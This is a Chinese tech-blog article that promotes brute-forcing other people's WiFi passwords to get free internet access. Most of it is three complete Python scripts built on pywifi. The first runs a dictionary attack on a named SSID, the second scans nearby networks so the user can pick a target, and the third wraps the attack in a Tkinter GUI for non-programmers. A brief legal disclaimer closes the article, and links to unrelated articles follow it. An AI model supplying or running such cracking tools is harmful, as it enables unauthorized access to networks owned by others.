百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 软件资讯 > 正文

Python暴力破解WiFi密码,这个脚本让你轻松蹭网!

ninehua 2025-04-06 19:33 51 浏览

出门在外,碰上信号不好的时候,大家肯定都遇到过没法上网的尴尬时刻。尤其是遇到WiFi信号满格,但却被密码拦住时,总让人忍不住想蹭网。

那如何通过Python脚本暴力破解WiFi密码,完成“机智蹭网”呢?今天我们就来深入探讨一下如何用Python实现WiFi密码的暴力破解。

没有图形界面的简单爆破脚本

首先来看看一个没有图形界面的基础版WiFi破解脚本。通过 pywifi 模块,我们可以操控无线网卡进行WiFi连接。脚本会自动读取一个密码字典并逐个尝试,直到找到正确的密码。

import pywifi
from pywifi import const
import time
import datetime


# 测试连接,返回连接结果
def wifiConnect(pwd):
  wifi = pywifi.PyWiFi()
  ifaces = wifi.interfaces()[0]
  ifaces.disconnect()
  time.sleep(1)
  wifistatus = ifaces.status()


  if wifistatus == const.IFACE_DISCONNECTED:
      profile = pywifi.Profile()
      profile.ssid = "Tr0e" # 需要破解的WiFi名称
      profile.auth = const.AUTH_ALG_OPEN
      profile.akm.append(const.AKM_TYPE_WPA2PSK)
      profile.cipher = const.CIPHER_TYPE_CCMP
      profile.key = pwd
      ifaces.remove_all_network_profiles()
      tep_profile = ifaces.add_network_profile(profile)
      ifaces.connect(tep_profile)
      time.sleep(2)
       
      if ifaces.status() == const.IFACE_CONNECTED:
          return True
      else:
          return False
  else:
      print("已有WiFi连接")


# 读取密码本进行暴力破解
def readPassword():
  success = False
  print("********** 开始破解WiFi **********")
  path = "pwd.txt"
  file = open(path, "r")
  start = datetime.datetime.now()


  while True:
      try:
          pwd = file.readline().strip('\n')
          bool = wifiConnect(pwd)
          if bool:
              print(f"[*] 密码已破解:{pwd}")
              print("[*] WiFi已自动连接!")
              success = True
              break
          else:
              print(f"正在尝试密码:{pwd}")
      except:
          continue


  end = datetime.datetime.now()
  print(f"[*] 破解完成,耗时:{end - start}" if success else "[*] 未能破解成功,请更换密码字典!")
  exit(0)


if __name__ == "__main__":
  readPassword()

这个脚本通过 pywifi 模块操控无线网卡并不断尝试密码,直到找到正确的WiFi密码。你只需准备一个包含各种常见密码的字典文件,然后让脚本从中挑选可能的密码进行尝试。

优化脚本:扫描附近WiFi

为了让脚本更灵活,我们对其进行了改进,增加了WiFi扫描功能,允许用户选择想要破解的WiFi并自定义密码字典。

import pywifi
import time
from pywifi import const


# WiFi扫描模块
def wifi_scan():
  wifi = pywifi.PyWiFi()
  interface = wifi.interfaces()[0]
  interface.scan()
  time.sleep(3)
  bss = interface.scan_results()


  wifi_name_list = []
  for w in bss:
      wifi_name_and_signal = (100 + w.signal, w.ssid)
      wifi_name_list.append(wifi_name_and_signal)
   
  wifi_name_list = sorted(wifi_name_list, key=lambda x: x[0], reverse=True)


  print("扫描完成,找到以下WiFi:")
  for num, wifi in enumerate(wifi_name_list):
      print(f"{num}. {wifi[1]} 信号强度: {wifi[0]}")


  return wifi_name_list


# WiFi破解模块
def wifi_password_crack(wifi_name):
  wifi_dic_path = input("请输入密码字典路径:")
  with open(wifi_dic_path, 'r') as f:
      for pwd in f:
          pwd = pwd.strip('\n')
          wifi = pywifi.PyWiFi()
          interface = wifi.interfaces()[0]
          interface.disconnect()
          time.sleep(1)
          profile = pywifi.Profile()
          profile.ssid = wifi_name
          profile.auth = const.AUTH_ALG_OPEN
          profile.akm.append(const.AKM_TYPE_WPA2PSK)
          profile.cipher = const.CIPHER_TYPE_CCMP
          profile.key = pwd
          interface.remove_all_network_profiles()
          tmp_profile = interface.add_network_profile(profile)
          interface.connect(tmp_profile)


          time.sleep(2)
          if interface.status() == const.IFACE_CONNECTED:
              print(f"成功破解,密码为:{pwd}")
              exit(0)
          else:
              print(f"尝试密码 {pwd} 失败。")


# 主函数
def main():
  wifi_list = wifi_scan()
  wifi_index = int(input("请选择想要破解的WiFi编号:"))
  wifi_password_crack(wifi_list[wifi_index][1])


if __name__ == '__main__':
  main()

该脚本扫描附近WiFi并允许用户选择要破解的网络,极大地提高了灵活性和用户体验。通过自定义密码字典文件,用户还可以在暴力破解过程中根据具体情况调整密码尝试策略。

提升用户体验:图形化界面

为了让工具更方便使用,我们可以进一步改进,使用 Tkinter 创建一个简易的图形化界面,使得非技术用户也可以轻松使用。

from tkinter import *
import pywifi
from pywifi import const
import time


def readPwd():
  wifi_name = entry.get().strip()
  path = './pwd.txt'
  file = open(path, 'r')


  while True:
      pwd = file.readline().strip()
      if not pwd:
          break
      wifi = pywifi.PyWiFi()
      iface = wifi.interfaces()[0]
      iface.disconnect()
      time.sleep(1)
      profile = pywifi.Profile()
      profile.ssid = wifi_name
      profile.auth = const.AUTH_ALG_OPEN
      profile.akm.append(const.AKM_TYPE_WPA2PSK)
      profile.cipher = const.CIPHER_TYPE_CCMP
      profile.key = pwd
      iface.remove_all_network_profiles()
      tmp_profile = iface.add_network_profile(profile)
      iface.connect(tmp_profile)
      time.sleep(2)


      if iface.status() == const.IFACE_CONNECTED:
          text.insert(END, f'密码正确:{pwd}\n')
          break
      else:
          text.insert(END, f'尝试密码:{pwd} 失败\n')
      text.see(END)
      text.update()


root = Tk()
root.title("WiFi破解")
root.geometry("500x400")


Label(root, text="输入WiFi名称:").grid()
entry = Entry(root, font=("微软雅黑", 14))
entry.grid(row=0, column=1)


text = Listbox(root, font=("微软雅黑", 14), width=40, height=10)
text.grid(row=1, columnspan=2)


Button(root, text="开始破解", command=readPwd).grid(row=2, columnspan=2)


root.mainloop()

这个小工具通过 Tkinter 创建了一个简易的界面,让你输入WiFi名称并开始暴力破解过程。整个界面简洁直观,适合不擅长编程的用户使用。

总结

通过这篇文章,我们从基础的Python WiFi暴力破解脚本开始,逐步优化到扫描WiFi、选择目标网络并最终实现了图形化界面。无论你是喜欢简单的命令行脚本,还是偏好图形化的工具,这些代码都能为你提供不同场景下的解决方案。

当然,本文的学习目的是技术探索,使用这些工具时请遵守法律与道德规范,切勿非法破解他人WiFi!

相关推荐

数据可视化——R语言为ggplot图形添加P值和显著性水平

很久很久没有写原创文章了,今天给大家写一个大家发论文都用的到的操作--------为ggplot图形添加P值和显著性水平。建议先点收藏,再点关注,因为本文很长。掌握了本文,用R语言画下面这种图就不求人...

R语言从入门到精通:Day7(r语言入门教程)

原创小浣熊科研猫是时候关注我们一波了在向reviewer或者导师展示自己的统计分析结果时,一张图往往顶得上千言万语;在刚接触到数据时,图也能帮助我们发现数据中潜在的模式或者其中的异常值,这两个例子...

360儿童手表3评测 孩子遇危险一键SOS

儿童人身安全问题一直是家长最担忧的大事,多年来频频发生的儿童走失悲剧更是将这一话题推向了舆论高峰,在这个基础上,能打电话、防走丢的儿童智能手表迅速走红,可以说多了一剂强有力的助推剂。可以说,360儿童...

眼保健操想做就做,全面呵护孩子视力!喵喵儿童护眼仪体验

现在的孩子学习压力都很大,平时除了线下作业外,线上作业也不少,不是拍照上传小管家,就是录制视频发到班级群。作为家长的我们不能只关注孩子的学习,更要关注孩子的视力。根据国家卫健委数据显示,2020年我国...

用眼过度?一套恢复视力的米字操 飞行员都用的护眼方法了解一下

咱都知道,现在这生活里,电子产品无处不在,不管是上班用电脑,下班刷手机,眼睛那是一刻都闲不下来,好多人都有用眼过度的毛病。眼睛干干痒痒的,时不时还流眼泪,近视、老花眼等问题也都找上门来了。今天啊,我就...

软硬件齐发力,OPPO Find X8手机配备五大屏幕护眼技术组合

 直到现在2024年,依然有不少消费者非常青睐LCD屏幕的手机,无他,皆是因为LCD屏幕相较于传统的OLED屏幕来说,护眼性能确实要更胜一筹。而全新发布的OPPOFindX8则在软硬件上齐发力,通...

一只360°的智能眼睛------360智能摄像机云台AI版

在数字安防物联网飞速发展的当今,很多品牌都在不断崛起,360作为其中的佼佼者,也推出了不少这类的产品,从第一代水滴摄像头开始,360可谓在可视安防品类的产品上保持了高速发展的态势,无论是室内还是室外...

扩展功能强大:文本编辑器EditPlus 3.8下载

IT之家(www.ithome.com):扩展功能强大:文本编辑器EditPlus3.8下载IT之家讯文本编辑器EditPlus最近更新到3.80版,此次更新增加了和改进了包括对不同文件类型适配不...

世上的计算机只有两种字体(世上的计算机只有两种字体是什么)

还在纠结在你的下一个演示文稿中要不要使用宋体显示小字,或是你打算在你的论文中使用微软雅黑字体吗?今天的推送就来给大家介绍一下两大字体系列:serif和sans-serif。Serif字体如Times...

安卓字体大师2.0.1更新 增加字体搜索及分类功能

手机自带字体看久了想要换个新面貌?如何才能轻松换得新字体呢?机友们有福了!字体控们更是不容错过!作为一款强大的字体美化管家,字体大师2.0.1更新再添个性周到化服务。此次更新,字体大师增加了字体搜索和...

升职加薪全靠它,6款B站知乎上万人推荐的宝藏神器!强烈建议收藏

今天,我们给大家推荐6款电脑软件,B站知乎上万人推荐,每一个都强大到没朋友,升职加薪全靠它,下面一起来看看吧!1.Quicker这是一款能提高我们工作效率的神器,其能帮我们快速打开一些常用工具,像执行...

18种好看的电子书字体推荐!(附实机照片)

对kindle自带的黑体楷体宋体圆体腻味了吗,其实kindle可以自定义字体的,下面推荐几款好看的电子书字体,话不多说直接上干货(以下图片均为kindleoasis2代实机拍摄,方便大家感受各类...

只需万元就能打造媲美影院的环绕音效,JBL BAR 1000回音壁真不错

自从给卧室更换了全新的智能投影,我就发现客厅电视的使用频率变低了,和家人探讨了一下,大家都一致认为这台电视的音效不如新换投影的效果好,但要真说因为音效再换一台电视又觉得不值。纠结再三之后,决定入手一套...

外国歌手杀疯了!比官方机位更震撼的是直播机位的现场舞台,真牛

刷到是缘分,感谢大家的阅读,希望您能动动小手帮忙点赞,关注,评论。你的支持和鼓励是我前进的动力。在此祝福大家天天快乐,日日开心!0102外国歌手这现场表现力真是绝了,直播机位捕捉到的细节比官方镜头更有...

使命召唤手游开启测试,战区手游下载方法/登录教程

《使命召唤》手游澳大利亚服在11月30日开启测试,应该有很多网友都有所了解。作为一款高人气的FPS游戏,《使命召唤》在国外的地位甚至可以与CF和PUBG相媲美了。而且截止到目前,官方针对不同的地区都推...